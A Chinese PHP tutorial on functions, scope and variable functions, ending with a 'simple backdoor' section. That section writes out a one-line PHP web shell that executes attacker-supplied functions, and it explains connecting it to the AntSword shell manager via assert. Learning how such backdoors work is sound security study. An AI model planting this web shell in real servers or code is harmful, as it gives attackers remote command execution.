PHP 函数、PHP 简单后门
函数
基本结构
语法结构
function 函数名(形式参数1,形式参数2...){//函数体return 返回值
}
定义并执行一个简单函数
// funtion.phpfunction test(){echo "This is function ".__FUNCTION__;
}test();
函数传参
// function.phpfunction add($x, $y){$sum = $x + $y;return $sum;
}echo add(10, 3);
函数调用
函数的调用,函数名加上小括号
调用过程
function a(){echo "This is func ".__FUNCTION__."<br />";
}function b(){echo __FUNCTION__." is starting...<br />";a();echo __FUNCTION__." is stopped!<br />";
}b();
注意
- 函数的调用,直接函数名字后面加上() 即可,() 可以看作是运算符;
- 调用函数之后执行的过程是相对独立的,互不干扰,默认没有联系;
- 函数执行完毕,返回调用的位置继续向下执行。
变量
范围
- 局部变量
- 全局变量
- 超全局变量
函数内部无法直接获取函数外部的变量
函数外部无法直接获取函数内部的变量
局部变量
在函数内部定义的变量,默认情况下,函数外部不能直接访问函数内部定义的变量。
// function.phpfunction get_name(){$username = "GJL";echo "My name is {$username}";
}
get_name();echo $username; // Notice: Undefined variable: username
全局变量
全局变量是在脚本中,函数或类的外部定义的变量。
// function.php$username = "GJL";function get_name(){echo "My name is {$username}";
}get_name(); // Notice: Undefined variable: username
注意
-
PHP 语言中,函数内部是没有办法直接调用函数外部的变量,这一点与 JavaScript 和 Python 不同。
-
解决方式
-
函数传参
$username = "GJL";function get_name($username){echo "My name is {$username}"; }get_name($username); -
global 声明全局变量
// function.php$username = "GJL";function get_name(){global $username;echo "My name is {$username}"; }get_name();
-
参数传递
按值传参
默认传参方式。
function add($x, $y){$sum = $x + $y;return $sum;
}echo add(10, 3);
对形参的操作,不会改变实参的值。
默认参数
可以给形式参数设置默认值,直接赋值即可
给函数默认值的时候,全都给
function add($x = 0, $y = 0){$sum = $x + $y;return $sum;
}// echo add(); // 0
// echo add(10, 3); // 13
echo add(10); // 10
可变函数
概述
可变函数也叫变量函数,动态函数,函数名可以动态设置和调用,变量()。这是PHP 特性之一,这种特性通常会被攻击者所利用。
直接把函数名赋值给变量,通过修改变量的值,可以实现动态调用。PHP 支持可变函数的概念。这意味着如果一个变量名后有圆括号,PHP 将寻找与变量的值同名的函数,并且尝试执行它。
<?phpfunction a(){echo "This is function a";
}
function b(){echo "This is function b";
}
$func_name = "a";
$func_name(); // 相当于 a();
// 可以直接使用变量的值充当函数名
// 执行结果,输出 This is function a?>
危险操作
<?phpfunction a(){echo "This is function a";
}function b(){echo "This is function b";
}// a();
// b();$func_name = ($_GET['func_name']);
$func_name(); // a();// b();// phpinfo();?>
直接访问显示错误,此时的 func_name 为空

传参,赋予其参数
修改 GET 中传入的参数

将参数名改为 phpinfo 则调用 phponfo() 函数显示 phpinfo

简单的后门
命令执行
-
php 中
system()函数可以直接执行系统命令如
system("ipconfig"); -
在 php 中写入最简单的后门函数
<?php$_GET['a']($_GET['b']);?>访问此 php 页面

修改传参,成功执行命令

蚁剑连接
-
eval为一种语言结构,而非函数,不能动态调用 -
可以将
assert当作 a 的参数,b 的参数为一句话木马,连接蚁剑-
蚁剑为 POST 传参,需要将传参方式设置为
$_POST或$_REQUEST<pre> <?php$_GET['a']($_REQUEST['b']);?>
-
-
蚁剑连接
输入传参后的 url
注意
assert 一次只能传递一个参数,传递多个参数时需要对传参进行编码
连接密码为
$_REQUEST['b']中的 b
-
获取 shell

相关文章:
PHP 函数、PHP 简单后门
函数 基本结构 语法结构 function 函数名(形式参数1,形式参数2...){//函数体return 返回值 }定义并执行一个简单函数 // funtion.phpfunction test(){echo "This is function ".__FUNCTION__; }test();函数传参 // function.phpfunction add($x, $y){$sum $x …...
前端实现菜单按钮级权限
核心思想就是通过登录请求此用户对应的权限菜单,然后跳转首页,触发全局前置导航守卫,在全局导航守卫中通过 addRoute 添加动态路由进去。addRoute有一个需要注意的地方,就是我们添加完动态路由后,地址栏上立即访问添加…...
STM32:TTL串口调试
一.TTL串口概要 TTL只需要两个线就可以完成两个设备之间的双向通信,一个发送电平的I/O称之为TX,与另一个设备的接收I/O口RX相互连接。两设备之间还需要连接地线(GND),这样两设备就有相同的0V参考电势。 二.TTL串口调试 实现电脑通过STM32发送…...
【Jenkins 安装】
一:安装文件夹准备 在/home/admin 界面下新建三个文件夹,用来安装tomcat、maven 1.打开,/home/admin目录 cd /home/admin 2.新建三个文件夹 mkdir tomcat mkdir maven 二:安装tomcat 1.打开tomcat目录进行tomcat的安装 访问:h…...
JVM——GC垃圾回收器
GC垃圾回收器 JVM在进行GC时:并不是对这三个区域(新生区,幸存区(from,to),老年区)统一回收,大部分时候,回收都是新生区 GC两种类:轻GCÿ…...
【三维重建-PatchMatchNet复现笔记】
【三维重建-PatchMatchNet复现笔记】 1 突出贡献2 数据集描述3 训练PatchMatchNet3.1 输入参数3.2 制定数据集加载方式 1 突出贡献 在计算机GPU和运行时间受限的情况下,PatchMatchNet测试DTU数据集能以较低GPU内存和较低运行时间,整体误差位列中等&#…...
CSS - 常用属性和布局方式
目录 前言 一、常用属性 1.1、字体相关 1.2、文本相关 1.3、背景相关 1.3.1、背景颜色 1.3.2、背景图片 1.4、圆角边框 二、常用布局相关 2.1、display 2.2、盒子模型 2.2.1、基本概念 2.2.2、border 边框 2.2.3、padding 内边距 2.2.4、margin 外边距 2.3、弹…...
数据结构与算法之矩阵: Leetcode 134. 螺旋矩阵 (Typescript版)
螺旋矩阵 https://leetcode.cn/problems/spiral-matrix/ 描述 给你一个 m 行 n 列的矩阵 matrix ,请按照 顺时针螺旋顺序 ,返回矩阵中的所有元素。 示例 1 输入:matrix [[1,2,3],[4,5,6],[7,8,9]] 输出:[1,2,3,6,9,8,7,4,5]示…...
LVS+keepalived高可用负载均衡集群
keepalived介绍 keepalived为LVS应运而生的高可用服务。LVS的调度器无法做高可用,于是keepalived这个软件。实现的是调度器的高可用。 但是keepalived不是专门为LVS集群服务的,也可以做其他代理服务器的高可用。 LVS高可用集群的组成 主调度器备调度器&…...
解密Kubernetes:探索开源容器编排工具的内核
🤍 前端开发工程师(主业)、技术博主(副业)、已过CET6 🍨 阿珊和她的猫_CSDN个人主页 🕠 牛客高级专题作者、在牛客打造高质量专栏《前端面试必备》 🍚 蓝桥云课签约作者、已在蓝桥云…...
苹果手机怎么设置壁纸?解锁设置壁纸的2种方法!
手机壁纸便是我们常说的屏幕背景图,一张好看的手机壁纸能使我们的心情变得愉悦。这个壁纸可以是风景、美食、喜欢的偶像、自己养的宠物,或者是你的家人、朋友。 拥有特殊含义的照片会更让人想要设置成壁纸。苹果手机怎么设置壁纸?本文将给大…...
解决LOGITECH 罗技驱动 MAC版出现的一些问题汇总!
安装前将之前的安装文件清理干净!!!!! 罗技驱动最新安装包下载 我的鼠标是G304 1. 驱动安装一直卡在99% 运行官方下载的安装程序,卡住后关掉窗口。 在终端中执行以下命令: sudo /Users/用户名…...
PyQt5入门4——给目标检测算法构建一个简单的界面
PyQt5入门4——给目标检测算法构建一个简单的界面 学习前言要构建怎么样的界面实例使用1、窗口构建a、按钮:获取图片b、Inputs、Outputs文本提示c、Inputs、Outputs图片显示d、箭头显示e、整点祝福 2、主程序运行 全部代码 学习前言 搞搞可视化界面哈,虽…...
Pandas数据分析系列9-数据透视与行列转换
Pandas 数据透视表 当数据量较大时,为了更好的分析数据特征,通常会采用数据透视表。数据透视表是一种对数据进行汇总和分析的工具,通过重新排列和聚合原始数据,可以快速获得更全面的数据洞察。数据透视表在Excel中也是经常使用的一个强大功能,在Pandas模块,其提供了pivot…...
部分背包问题细节(贪心)
有一种情况是,背包可以把金币全部拿走: 如果num小于0则返回值...
windows协议详解之-RPC/SMB/LDAP/LSA/SAM域控协议关系
如果你在windows域控环境中,例如企业的网络中开启wireshark抓包,你一定会遇到一大堆各种各样的协议。不同于互联网服务(大多基于HTTP),为了实现域控中各种各样的服务,windows的域控环境中采用了非常多的协议…...
uniapp中 background-image 设置背景图片不展示问题
有问题 <view class"file-picker__box jsz" tap"jszxszUpload(jsz)"></view>.jsz {background-image: url(../../static/example_drive.png); }解决1 <view class"file-picker__box jsz" :style"{ background-image: url(…...
Elasticsearch打分机制
一 例子 xx搜索引擎,就搜索结果本身而言,xx返回了正确的结果。因为返回的结果中,都包含了搜索的关键字。而我们从逻辑上来看,这一堆广告算是咋回事!这个吐槽是从用户的角度出发的。很显然,返回的结果中,尤其是前几条,有时甚至是前几页,都跟我们想要的结果相差深远! …...
【pdf密码】为什么我的PDF文件不能复制文字?
大家现在接触PDF文件越来越多,有的时候在网上下载的PDF文件打开之后,发现选中文字之后无法复制。甚至其他功能也都无法使用,这是怎么回事?该怎么办? 当我们发现文件打开之后,编辑功能无法使用,很…...
vim程序编辑器
最近读书读完感觉没有读一样,所以决定写笔记记录下 vi的使用包括三种模式 一般模式 编辑模式 a,i,o,r,A,I,O,R 用来插入或者替换内容 命令行模式 :wq保存退出:wq!强制保存退出…...
FFXIV TexTools:掌握《最终幻想14》模组制作的终极指南
FFXIV TexTools:掌握《最终幻想14》模组制作的终极指南 【免费下载链接】FFXIV_TexTools_UI 项目地址: https://gitcode.com/gh_mirrors/ff/FFXIV_TexTools_UI FFXIV TexTools是一款专为《最终幻想14》玩家设计的专业模组制作与管理框架,自2016年…...
为什么你的Perplexity图标总返回404?深度逆向其图标CDN路由算法(附Python自动化探测脚本)
更多请点击: https://intelliparadigm.com 第一章:Perplexity图标资源搜索 Perplexity AI 官方未提供公开的图标资源包(如 SVG、Favicon 或 App Icon 套件),但开发者可通过合法合规方式获取其品牌视觉资产用于技术文档…...
Perplexity招聘搜索失效?别再用Google了!工程师亲测有效的4层穿透式检索法(含Chrome插件配置清单)
更多请点击: https://kaifayun.com 第一章:Perplexity招聘信息搜索 Perplexity AI 作为一家快速发展的生成式人工智能公司,其招聘动态常通过官方渠道与技术社区同步更新。掌握高效、可复现的招聘信息检索方法,对求职者与行业观察…...
ARM Cortex-M微控制器与瑞萨RA系列开发实战指南
1. 项目概述:从“ARM”到“瑞萨RA”的认知之旅在嵌入式开发的江湖里,如果你还在纠结于8位、16位单片机的选型,或者对“ARM Cortex-M”这个名词感到既熟悉又陌生,那么这篇文章就是为你准备的。我接触过不少从传统8051、AVR转型过来…...
从电源拓扑到代码:STM32F103驱动移相全桥的软硬件协同设计实战
从电源拓扑到代码:STM32F103驱动移相全桥的软硬件协同设计实战 在中小功率开关电源和电机驱动领域,移相全桥拓扑因其优异的软开关特性和高效率表现,成为工程师们的首选方案之一。然而,将教科书上的拓扑原理转化为实际可用的电源产…...
从LED闪烁到任务调度:手把手教你用英飞凌AURIX的STM系统定时器构建简单时间片
从LED闪烁到任务调度:基于英飞凌AURIX的STM系统定时器构建轻量级时间片框架 在嵌入式开发中,系统定时器(STM)常被简化为"高级延时工具",但它的潜力远不止于此。当开发者面对需要同时处理LED状态控制、按键扫…...
探索商业成功的奥秘:BABOK Guide v3深度解析
探索商业成功的奥秘:BABOK Guide v3深度解析 【下载地址】商业分析知识体系指南BABOKGuidev3 《商业分析知识体系指南(BABOK Guide v3)》是业界权威的商业分析专业标准,深受全球专业人士的认可与信赖。本指南经过严密的共识驱动开…...
Page Assist终极指南:在浏览器侧边栏运行本地AI模型的完整解决方案
Page Assist终极指南:在浏览器侧边栏运行本地AI模型的完整解决方案 【免费下载链接】page-assist Use your locally running AI models to assist you in your web browsing 项目地址: https://gitcode.com/GitHub_Trending/pa/page-assist Page Assist是一款…...
overwrite
编写overwrite.c程序#inlcude<stdio.h> int main() {int b 123;int c 789;int a 456;char s[100];printf("%p\n", &a);scanf("%s", s);printf(s);if (a 16){puts("my name is c");}else if (a 2){puts("my name is small&qu…...
ESP32一键安装CircuitPython与Wi-Fi配置:Web串口技术实战指南
1. 项目概述:告别繁琐,一键搞定ESP32固件与网络配置如果你玩过ESP32、ESP32-S3这类微控制器,肯定对固件烧录这个步骤不陌生。传统的流程是什么?先去官网下载对应板型的.bin或.uf2文件,然后打开一个专用的烧录工具&…...
